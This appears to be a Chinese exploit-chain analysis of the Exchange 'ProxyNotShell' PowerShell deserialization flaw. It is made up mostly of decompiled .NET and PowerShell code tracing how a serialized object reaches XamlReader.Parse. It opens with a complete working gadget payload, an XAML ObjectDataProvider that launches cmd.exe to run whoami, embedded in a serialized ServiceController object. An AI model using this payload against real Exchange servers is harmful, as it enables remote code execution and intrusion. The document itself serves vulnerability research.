Proxy Not Shell 利用链分析

<Obj N="V" RefId="14">
					<TN RefId="2">
					<T>System.ServiceProcess.ServiceController</T>
						<T>System.Object</T>
					</TN>
					<ToString>System.ServiceProcess.ServiceController</ToString>

					<Props>
						<S N="Name">Type</S>
						<Obj N="TargetTypeForDeserialization">
							<TN RefId="2">
								<T>System.Exception</T>
								<T>System.Object</T>
							</TN>
							<MS>
								<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
							</MS>
						</Obj>
					</Props>

					<S>
                        <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c whoami> c:\users\public\1.txt</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>
					</S>

			</Obj>

XamlReader.Parse()
BA标签数据
.....ÿÿÿÿ..............System.UnitySerializationHolder.....
Data	UnityType.AssemblyName......... System.Windows.Markup.XamlReader.........
XPresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35.

Obj V(System.ServiceProcess.ServiceController):
		String Name="Type"
		Obj TargetTypeForDeserialization(System.Exception):
				ByteArray SerializationData
		String SerializationData

<Type>
    <Name>System.Exception</Name>
    <Members>
      <CodeProperty IsHidden="true">
        <Name>SerializationData</Name>
        <GetCodeReference>
          <TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>
          <MethodName>GetSerializationData</MethodName>
        </GetCodeReference>
      </CodeProperty>
    </Members>
    <TypeConverter>
      <TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>
    </TypeConverter>
  </Type>

internal static object ConvertTo(object valueToConvert, Type resultType, bool recursion, IFormatProvider formatProvider, TypeTable backupTypeTable)
		{
			object result;
			using (LanguagePrimitives.typeConversion.TraceScope("Converting \"{0}\" to \"{1}\".", valueToConvert, resultType))
			{
				if (resultType == null)
				{
					throw PSTraceSource.NewArgumentNullException("resultType");
				}
				bool flag;
				result = LanguagePrimitives.FigureConversion(valueToConvert, resultType, out flag).Invoke(flag ? PSObject.Base(valueToConvert) : valueToConvert, resultType, recursion, flag ? ((PSObject)valueToConvert) : null, formatProvider, backupTypeTable);
			}
			return result;
		}

internal object Deserialize(HeaderHandler handler, __BinaryParser serParser, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
		{
			......
			serParser.Run();
			......
			if (!this.bMethodCall && !this.bMethodReturn)
			{
				if (this.TopObject == null)
				{
					throw new SerializationException(Environment.GetResourceString("Serialization_TopObject"));
				}
				if (this.HasSurrogate(this.TopObject.GetType()) && this.topId != 0L)
				{
					this.TopObject = this.m_objectManager.GetObject(this.topId);
				}
				if (this.TopObject is IObjectReference)
				{
					this.TopObject = ((IObjectReference)this.TopObject).GetRealObject(this.m_context);
				}
			}
			if (this.bFullDeserialization)
			{
				this.m_objectManager.RaiseDeserializationEvent();
			}
			if (handler != null)
			{
				this.handlerObject = handler(this.headers);
			}
			if (this.bMethodCall)
			{
				object[] callA = this.TopObject as object[];
				this.TopObject = this.binaryMethodCall.ReadArray(callA, this.handlerObject);
			}
			else if (this.bMethodReturn)
			{
				object[] returnA = this.TopObject as object[];
				this.TopObject = this.binaryMethodReturn.ReadArray(returnA, methodCallMessage, this.handlerObject);
			}
			return this.TopObject;
		}

private void ReadProperties(PSObject dso)
		{
			dso.isDeserialized = true;
			dso.adaptedMembers = new PSMemberInfoInternalCollection<PSPropertyInfo>();
			dso.InstanceMembers.Add(PSObject.dotNetInstanceAdapter.GetDotNetMethod<PSMemberInfo>(dso, "GetType"));
			PSGetMemberBinder.SetHasInstanceMember("GetType");
			dso.clrMembers = new PSMemberInfoInternalCollection<PSPropertyInfo>();
			if (this.ReadStartElementAndHandleEmpty("Props"))
			{
				while (this._reader.NodeType == XmlNodeType.Element)
				{
					string name = this.ReadNameAttribute();
					object serializedValue = this.ReadOneObject();
					PSProperty member = new PSProperty(name, serializedValue);
					dso.adaptedMembers.Add(member);
				}
				this.ReadEndElement();
			}
		}

internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
		{
			PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization");
			if (psstandardMember != null)
			{
				return psstandardMember.Value as Type;
			}
			return null;
		}

internal PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
		{
			PSMemberInfo psmemberInfo = null;
			TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
			if (typeTable != null)
			{
				PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers");
				if (psmemberSet != null)
				{
					psmemberSet.ReplicateInstance(this);
					psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];
				}
			}
			if (psmemberInfo == null)
			{
				psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet);
			}
			return psmemberInfo;
		}

<Type>
    <Name>System.ServiceProcess.ServiceController</Name>
    <Members>
      <MemberSet>
        <Name>PSStandardMembers</Name>
        <Members>
          <PropertySet>
            <Name>DefaultDisplayPropertySet</Name>
            <ReferencedProperties>
              <Name>Status</Name>
              <Name>Name</Name>
              <Name>DisplayName</Name>
            </ReferencedProperties>
          </PropertySet>
        </Members>
      </MemberSet>
      <AliasProperty>
        <Name>Name</Name>
        <ReferencedMemberName>ServiceName</ReferencedMemberName>
      </AliasProperty>
      <AliasProperty>
        <Name>RequiredServices</Name>
        <ReferencedMemberName>ServicesDependedOn</ReferencedMemberName>
      </AliasProperty>
      <ScriptMethod>
        <Name>ToString</Name>
        <Script>
          $this.ServiceName
        </Script>
      </ScriptMethod>
    </Members>
  </Type>

internal object ReadOneObject(out string streamName)
		{
			....
				object obj = this.ReadOneDeserializedObject(out streamName, out flag);
	.....
						Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable);
....
								object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable);
	.....
		}

c:\windows\system32\inetsrv\w3wp.exe -ap
"MSExchangePowerShellAppPool" -v "v4.0" -c
"C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config"
-a \\.\pipe\iisipm319caf0c-5de0-4833-8a04-4b28f4a836ae
-h "C:\inetpub\temp\apppools\MSExchangePowerShellAppPool\MSExchangePowerShellAppPool.config"
-w "" -m 0

internal object Deserialize(HeaderHandler handler, __BinaryParser serParser, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
		{
.....
			serParser.Run();
			if (this.bFullDeserialization)
			{
				this.m_objectManager.DoFixups();
			}
			if (!this.bMethodCall && !this.bMethodReturn)
			{
				if (this.TopObject == null)
				{
					throw new SerializationException(Environment.GetResourceString("Serialization_TopObject"));
				}
				if (this.HasSurrogate(this.TopObject.GetType()) && this.topId != 0L)
				{
					this.TopObject = this.m_objectManager.GetObject(this.topId);
				}
				if (this.TopObject is IObjectReference)
				{
					this.TopObject = ((IObjectReference)this.TopObject).GetRealObject(this.m_context);
				}
			}
			if (this.bFullDeserialization)
			{
				this.m_objectManager.RaiseDeserializationEvent();
			}
			if (handler != null)
			{
				this.handlerObject = handler(this.headers);
			}
			if (this.bMethodCall)
			{
				object[] callA = this.TopObject as object[];
				this.TopObject = this.binaryMethodCall.ReadArray(callA, this.handlerObject);
			}
			else if (this.bMethodReturn)
			{
				object[] returnA = this.TopObject as object[];
				this.TopObject = this.binaryMethodReturn.ReadArray(returnA, methodCallMessage, this.handlerObject);
			}
			return this.TopObject;
		}

internal void Run()
		{
			try
			{
				bool flag = true;
				this.ReadBegin();
				this.ReadSerializationHeaderRecord();
				while (flag)
				{
					BinaryHeaderEnum binaryHeaderEnum = BinaryHeaderEnum.Object;
					BinaryTypeEnum binaryTypeEnum = this.expectedType;
					if (binaryTypeEnum != BinaryTypeEnum.Primitive)
					{
						if (binaryTypeEnum - BinaryTypeEnum.String > 6)
						{
							throw new SerializationException(Environment.GetResourceString("Serialization_TypeExpected"));
						}
						byte b = this.dataReader.ReadByte();
						binaryHeaderEnum = (BinaryHeaderEnum)b;
						switch (binaryHeaderEnum)
						{
						case BinaryHeaderEnum.Object:
							this.ReadObject();
							break;
						case BinaryHeaderEnum.ObjectWithMap:
.....
this.ReadObjectWithMap(binaryHeaderEnum);
							break;
						case BinaryHeaderEnum.ObjectWithMapTyped:
......
							this.ReadObjectWithMapTyped(binaryHeaderEnum);
							break;
						case BinaryHeaderEnum.ObjectString:
......
							this.ReadObjectString(binaryHeaderEnum);
							break;
						case BinaryHea......flag2)
						{
							ObjectProgress objectProgress = (ObjectProgress)this.stack.Peek();
							if (objectProgress == null)
							{
								this.expectedType = BinaryTypeEnum.ObjectUrt;
								this.expectedTypeInformation = null;
								flag2 = true;
							}
							else
							{
								flag2 = objectProgress.GetNext(out objectProgress.expectedType, out objectProgress.expectedTypeInformation);
								this.expectedType = objectProgress.expectedType;
								this.expectedTypeInformation = objectProgress.expectedTypeInformation;
								if (!flag2)
								{
									this.prs.Init();
									if (objectProgress.memberValueEnum == InternalMemberValueE.Nested)
									{
										this.prs.PRparseTypeEnum = InternalParseTypeE.MemberEnd;
										this.prs.PRmemberTypeEnum = objectProgress.memberTypeEnum;
										this.prs.PRmemberValueEnum = objectProgress.memberValueEnum;
										this.objectReader.Parse(this.prs);
									}
									else
									{
										this.prs.PRparseTypeEnum = InternalParseTypeE.ObjectEnd;
										this.prs.PRmemberTypeEnum = objectProgress.memberTypeEnum;
										this.prs.PRmemberValueEnum = objectProgress.memberValueEnum;
										this.objectReader.Parse(this.prs);
									}
									this.stack.Pop();
									this.PutOp(objectProgress);
								}
							}
						}
					}
				}
			}
......
		}

namespace System
{
	// Token: 0x02000148 RID: 328
	[ClassInterface(ClassInterfaceType.None)]
	[ComDefaultInterface(typeof(_Type))]
	[ComVisible(true)]
	[__DynamicallyInvokable]
	[Serializable]
	public abstract class Type : MemberInfo, _Type, IReflect
	{
		// Token: 0x17000217 RID: 535
		// (get) Token: 0x060013E6 RID: 5094 RVA: 0x0003BE2A File Offset: 0x0003A02A
		public override MemberTypes MemberType
		{
			get
			{
				return MemberTypes.TypeInfo;
			}
		}

internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
		{
			PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization");
			if (psstandardMember != null)
			{
				return psstandardMember.Value as Type;
			}
			return null;
		}

internal PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
		{
			PSMemberInfo psmemberInfo = null;
			TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
			if (typeTable != null)
			{
				PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers");
				if (psmemberSet != null)
				{
					psmemberSet.ReplicateInstance(this);
					psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];
				}
			}
			if (psmemberInfo == null)
			{
				psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet);
			}
			return psmemberInfo;
		}

internal class PSMemberInfoIntegratingCollection<T> : PSMemberInfoCollection<T>, IEnumerable<T>, IEnumerable where T : PSMemberInfo
	{
		// Token: 0x06002AC3 RID: 10947 RVA: 0x000C35F4 File Offset: 0x000C17F4
		private void GenerateAllReservedMembers()
		{
			if (!this.mshOwner.hasGeneratedReservedMembers)
			{
				this.mshOwner.hasGeneratedReservedMembers = true;
				ReservedNameMembers.GeneratePSExtendedMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSBaseMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSObjectMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSAdaptedMemberSet(this.mshOwner);
				ReservedNameMembers.GeneratePSTypeNames(this.mshOwner);
			}
		}

internal PSMemberInfoIntegratingCollection(object owner, Collection<CollectionEntry<T>> collections)
		{
			if (owner == null)
			{
				throw PSTraceSource.NewArgumentNullException("owner");
			}
			this.mshOwner = (owner as PSObject);
			this.memberSetOwner = (owner as PSMemberSet);
			if (this.mshOwner == null && this.memberSetOwner == null)
			{
				throw PSTraceSource.NewArgumentException("owner");
			}
			if (collections == null)
			{
				throw PSTraceSource.NewArgumentNullException("collections");
			}
			this.collections = collections;
		}

internal static Collection<CollectionEntry<PSMemberInfo>> GetMemberCollection(PSMemberViewTypes viewType, TypeTable backupTypeTable)
		{
			Collection<CollectionEntry<PSMemberInfo>> collection = new Collection<CollectionEntry<PSMemberInfo>>();
			if ((viewType & PSMemberViewTypes.Extended) == PSMemberViewTypes.Extended)
			{
				if (backupTypeTable == null)
				{
					collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.TypeTableGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.TypeTableGetMemberDelegate<PSMemberInfo>), true, true, "type table members"));
				}
				else
				{
					collection.Add(new CollectionEntry<PSMemberInfo>((PSObject msjObj) => PSObject.TypeTableGetMembersDelegate<PSMemberInfo>(msjObj, backupTypeTable), (PSObject msjObj, string name) => PSObject.TypeTableGetMemberDelegate<PSMemberInfo>(msjObj, backupTypeTable, name), true, true, "type table members"));
				}
			}
			if ((viewType & PSMemberViewTypes.Adapted) == PSMemberViewTypes.Adapted)
			{
				**collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.AdapterGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.AdapterGetMemberDelegate<PSMemberInfo>), false, false, "adapted members"));**
			}
			if ((viewType & PSMemberViewTypes.Base) == PSMemberViewTypes.Base)
			{
				collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.DotNetGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.DotNetGetMemberDelegate<PSMemberInfo>), false, false, "clr members"));
			}
			return collection;
		}

private static T AdapterGetMemberDelegate<T>(PSObject msjObj, string name) where T : PSMemberInfo
		{
			if (!msjObj.isDeserialized)
			{
				T t = msjObj.InternalAdapter.BaseGetMember<T>(msjObj.immediateBaseObject, name);
				PSObject.memberResolution.WriteLine("Adapted member: {0}.", (t == null) ? "not found" : t.Name);
				return t;
			}
			if (msjObj.adaptedMembers == null)
			{
				return default(T);
			}
			T t2 = msjObj.adaptedMembers[name] as T;
			PSObject.memberResolution.WriteLine("Serialized adapted member: {0}.", (t2 == null) ? "not found" : t2.Name);
			return t2;
		}

private static LanguagePrimitives.PSConverter<object> FigureParseConversion(Type fromType, Type toType)
		{
			.....
			else if (fromType == typeof(string))
			{
				MethodInfo methodInfo = null;
				try
				{
					methodInfo = toType.GetMethod("Parse", BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy, null, new Type[]
					{
						typeof(string),
						typeof(IFormatProvider)
					}, null);
				}
				catch (AmbiguousMatchException ex)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", ex.Message);
				}
				catch (ArgumentException ex2)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method with CultureInfo: \"{0}\".", ex2.Message);
				}
				if (methodInfo != null)
				{
					return new LanguagePrimitives.PSConverter<object>(new LanguagePrimitives.ConvertViaParseMethod
					{
						parse = methodInfo
					}.ConvertWithCulture);
				}
				try
				{
					methodInfo = toType.GetMethod("Parse", BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy, null, new Type[]
					{
						typeof(string)
					}, null);
				}
				catch (AmbiguousMatchException ex3)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", ex3.Message);
				}
				catch (ArgumentException ex4)
				{
					LanguagePrimitives.typeConversion.WriteLine("Exception finding Parse method: \"{0}\".", ex4.Message);
				}
				if (methodInfo != null)
				{
					return new LanguagePrimitives.PSConverter<object>(new LanguagePrimitives.ConvertViaParseMethod
					{
						parse = methodInfo
					}.ConvertWithoutCulture);
				}
			}
			return null;
		}

[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

COMPlus_ZapDisable=1
COMPlus_ReadyToRun=0